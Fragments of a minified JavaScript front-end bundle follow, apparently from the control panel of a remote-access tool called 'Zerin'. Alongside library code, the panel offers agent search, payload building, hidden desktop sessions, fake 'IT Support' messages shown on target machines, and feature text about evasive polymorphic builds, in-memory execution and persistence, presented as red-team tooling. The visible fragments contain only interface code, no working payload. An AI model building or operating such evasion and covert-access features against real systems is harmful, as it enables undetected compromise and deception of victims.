f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder
text-zerin-text-muted border border-zerin-panel-border\r
hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r
transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:V,icon:R})=>a.jsx(FE,{to:D,end:D==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150
${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>a.jsxs(a.Fragment,{children:[M&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:V}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r
text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r
transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r
text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r
transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(CE,{})}),a.jsx(H_,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(Z_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:`
_______ ______ ______ _____ __ _
/ |______ |_____/ | | \\ |
/ |______ | \\_ __|__ | \\_|
`}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:`
@keyframes credits-in {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes glitch-appear {
0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); }
50% { transform: scale(1.02) translateY(-2px); filter: blur(0); }
100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); }
}
@keyframes credits-glow {
from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); }
to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); }
}
@keyframes credit-slide {
from { opacity: 0; transform: translateY(15px); }
to { opacity: 1; transform: translateY(0); }
}
`})]})]})})}const J_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N<c;N++){const k=N/c*.07;u[N]=`rgba(6,182,212,${k.toFixed(4)})`}const d=60;let f=0,p=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,p=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(p*f);for(let N=0;N<p;N++)for(let k=0;k<f;k++){const z=k*d-h,S=N*d-x;g[N*f+k]=Math.sqrt(z*z+S*S)*.005}}y(),window.addEventListener("resize",y);let v=null;function b(){v=document.createElement("canvas"),v.width=n.width,v.height=n.height;const N=v.getContext("2d");N.fillStyle="rgba(0,0,0,0.12)";for(let k=0;k<v.height;k+=4)N.fillRect(0,k,v.width,1)}b();function w(N){if(i=requestAnimationFrame(w),N-o<l)return;o=N,s+=.003*(l/16.67);const k=n.width,z=n.height;r.clearRect(0,0,k,z);const S=Math.PI*2;let A=0;for(let _=0;_<p;_++){const O=_*d;for(let P=0;P<f;P++){const V=(Math.sin(g[A++]-s)*.5+.5)*c|0;r.fillStyle=u[V<c?V:c-1],r.beginPath(),r.arc(P*d,O,1,0,S),r.fill()}}v&&v.width===k&&v.height===z&&r.drawImage(v,0,0)}i=requestAnimationFrame(w);const j=()=>{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function eA(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const tA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VN
text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r
transition-colors hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function gA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const yA=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function L5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=L5(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}function Qe(){for(var e,t,n=0,r="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=L5(e))&&(r&&(r+=" "),r+=t);return r}var bA=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOv
* @license React
* use-sync-external-store-shim.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var ss=m;function A6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var O6=typeof Object.is=="function"?Object.is:A6,T6=ss.useState,M6=ss.useEffect,L6=ss.useLayoutEffect,I6=ss.useDebugValue;function D6(e,t){var n=t(),r=T6({inst:{value:n,getSnapshot:t}}),i=r[0].inst,s=r[1];return L6(function(){i.value=n,i.getSnapshot=t,om(i)&&s({inst:i})},[e,n,t]),M6(function(){return om(i)&&s({inst:i}),e(function(){om(i)&&s({inst:i})})},[e]),I6(n),n}function om(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!O6(e,n)}catch{return!0}}function R6(e,t){return t()}var $6=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?R6:D6;EN.useSyncExternalStore=ss.useSyncExternalStore!==void 0?ss.useSyncExternalStore:$6;PN.exports=EN;var B6=PN.exports;/**
* @license React
* use-sync-external-store-shim/with-selector.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var Sd=m,F6=B6;function W6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var U6=typeof Object.is=="function"?Object.is:W6,V6=F6.useSyncExternalStore,H6=Sd.useRef,K6=Sd.useEffect,Y6=Sd.useMemo,q6=Sd.useDebugValue;CN.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=H6(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=Y6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,U6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=V6(e,s[0],s[1]);return K6(function(){o.hasValue=!0,o.value=l},[l]),q6(l),l};SN.exports=CN;var G6=SN.exports,Vx=m.createContext(null),X6=e=>e,ot=()=>{var e=m.useContext(Vx);return e?e.store.dispatch:X6},wc=()=>{},Z6=()=>wc,Q6=(e,t)=>e===t;function je(e){var t=m.useContext(Vx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:wc,[t,e]);return G6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:Z6,t?t.store.getState:wc,t?t.store.getState:wc,n,Q6)}function J6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function eO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function tO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var hy=e=>Array.isArray(e)?e:[e];function nO(e){const t=Array.isArray(e[0])?e[0]:e;return tO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function rO(e,t){const n=[],{length:r}=e;for(let i=0;i<r;i++)n.push(e[i].apply(null,t));return n}var iO=class{constructor(e){this.value=e}deref(){return this.value}},aO=typeof WeakRef<"u"?WeakRef:iO,sO=0,xy=1;function Fl(){return{s:sO,v:void 0,o:null,p:null}}function _N(e,t={}){let n=Fl();const{resultEqualityCheck:r}=t;let i,s=0;function o(){var f;let l=n;const{length:c}=arguments;for(let p=0,h=c;p<h;p++){const x=arguments[p];if(typeof x=="function"||typeof x=="object"&&x!==null){let g=l.o;g===null&&(l.o=g=new WeakMap);const y=g.get(x);y===void 0?(l=Fl(),g.set(x,l)):l=y}else{let g=l.p;g===null&&(l.p=g=new Map);const y=g.get(x);y===void 0?(l=Fl(),g.set(x,l)):l=y}}const u=l;let d;if(l.s===xy)d=l.v;else if(d=e.apply(null,arguments),s++,r){const p=((f=i==null?void 0:i.deref)==null?void 0:f.call(i))??i;p!=null&&r(p,d)&&(d=p,s!==0&&s--),i=typeof d=="object"&&d!==null||typeof d=="function"?new aO(d):d}return u.s=xy,u.v=d,d}return o.clearCache=()=>{n=Fl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function oO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),J6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=_N,argsMemoizeOptions:x=[]}=d,g=hy(p),y=hy(x),v=nO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=rO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=oO(_N),lO=Object.assign((e,t=L)=>{eO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>lO}),AN={},ON={},TN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="sym
please check the style of container, or the props width(%s) and height(%s),
or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the
height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:By(By({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:VT({width:i,height:s})},m.createElement(wk,{width:k,height:z},u)))}),Fy=m.forwardRef((e,t)=>{var n=Jx();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=HT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=yk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(wk,{width:s,height:o},e.children):m.createElement(XT,Zp({},e,{width:r,height:i,ref:t}))});function e0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Wd=()=>{var e,t=Jn(),n=je(IT),r=je(Fd),i=(e=je(Bd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},ZT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},QT=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:ZT},JT=()=>je(Hr),eM=()=>je(Kr),De=e=>e.layout.layoutType,bs=()=>je(De),tM=()=>{var e=bs();if(e==="horizontal"||e==="vertical")return e},jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},nM=()=>{var e=bs();return e!==void 0},cl=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=Jx(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(uT({width:o,height:l}))},[t,n,o,l]),null},Nk=Symbol.for("immer-nothing"),Wy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Wo=Object.getPrototypeOf;function ls(e){return!!e&&!!e[hn]}function ma(e){var t;return e?kk(e)||Array.isArray(e)||!!e[Wy]||!!((t=e.constructor)!=null&&t[Wy])||ul(e)||Vd(e):!1}var rM=Object.prototype.constructor.toString(),Uy=new WeakMap;function kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Uy.get(n);return r===void 0&&(r=Function.toString.call(n),Uy.set(n,r)),r===rM}function xu(e,t,n=!0){Ud(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ud(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:ul(e)?2:Vd(e)?3:0}function Qp(e,t){return Ud(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function zk(e,t,n){const r=Ud(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function iM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function ul(e){return e instanceof Map}function Vd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function Jp(e,t){if(ul(e))return new Map(e);if(Vd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s<i.length;s++){const o=i[s],l=r[o];l.writable===!1&&(l.writable=!0,l.configurable=!0),(l.get||l.set)&&(r[o]={configurable:!0,writable:!0,enumerable:l.enumerable,value:e[o]})}return Object.create(Wo(e),r)}else{const r=Wo(e);if(r!==null&&n)return{...e};const i=Object.create(r);return Object.assign(i,e)}}function t0(e,t=!1){return Hd(e)||ls(e)||!ma(e)||(Ud(e)>1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>t0(n,!0))),e}function aM(){Vn(2)}var Yl={value:aM};function Hd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var sM={};function pa(e){const t=sM[e];return t||Vn(0,e),t}var Uo;function Sk(){return Uo}function oM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Vy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}
`,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(m1||(m1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(p1||(p1=tr(["A ",",",",0,0,",`,
`,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(h1||(h1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(x1||(x1=tr(["A ",",",",0,0,",`,
`,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(v1||(v1=tr(["M ",",",`
A `,",",",0,0,",",",",",`
L `,",",`
A `,",",",0,0,",",",",",`
L `,",",`
A `,",",",0,0,",",",",",`
L `,",",`
A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(g1||(g1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},N1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Rk=e=>{var t=gn(e,N1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,A=w1(z,m8);return m.createElement("path",ju({},A,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:j1(s,o,l,c,u)}))}var 